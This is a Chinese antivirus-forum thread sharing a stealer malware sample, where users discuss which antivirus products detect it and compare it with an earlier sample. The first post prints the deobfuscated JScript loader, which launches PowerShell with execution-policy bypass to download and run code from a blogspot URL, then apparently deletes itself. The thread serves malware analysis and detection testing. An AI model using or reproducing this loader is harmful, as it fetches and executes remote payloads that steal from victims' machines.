#stealer

显示全部楼层 · 发表于 2023-12-2 22:16:05

本帖最后由 t0kenzero 于 2023-12-2 22:58 编辑

关联样本 https://bbs.kafan.cn/thread-2263435-1-1.html
应该是一个人搞得

血压高了拿错样本了新样本补发感谢 @秋日之殇和 @anthonyqian提醒

new ActiveXObject(WScript.Shell)[RUN](powershell - ep Bypass - c $(irm htloctmains.blogspot.com/////////////////////////////////////atom.xml) | . ('i*x').replace('*','e');Start-Sleep -Seconds 5, 0, true);
WScript[Sleep](10000);;
new ActiveXObject()[Scripting.FileSystemObject](WScript[ScriptFullName]);

复制代码

显示全部楼层 · 发表于 2023-12-2 22:20:05

本帖最后由秋日之殇于 2023-12-2 22:57 编辑

没加密码卡巴下载拦截

显示全部楼层 · 发表于 2023-12-2 22:20:43

360

显示全部楼层 · 发表于 2023-12-2 22:20:55

火绒杀双击

显示全部楼层 · 发表于 2023-12-2 22:23:21

这俩不是一样的吗

显示全部楼层 · 发表于 2023-12-2 22:25:47

anthonyqian 发表于 2023-12-2 22:23
这俩不是一样的吗

一个人写的）
我把混淆扒开发现，有区别

显示全部楼层 · 发表于 2023-12-2 22:30:31

t0kenzero 发表于 2023-12-2 22:25
一个人写的）
我把混淆扒开发现，有区别

你可能发错样本了吧本帖的样本和之前的一样的

显示全部楼层 · 发表于 2023-12-2 22:41:12

显示全部楼层 · 发表于 2023-12-2 22:46:09

anthonyqian 发表于 2023-12-2 22:30
你可能发错样本了吧本帖的样本和之前的一样的

所以和之前的一样指的是什么？

显示全部楼层 · 发表于 2023-12-2 22:47:51

安天也出杀毒软件了暂时没有主动防御

[病毒样本] #stealer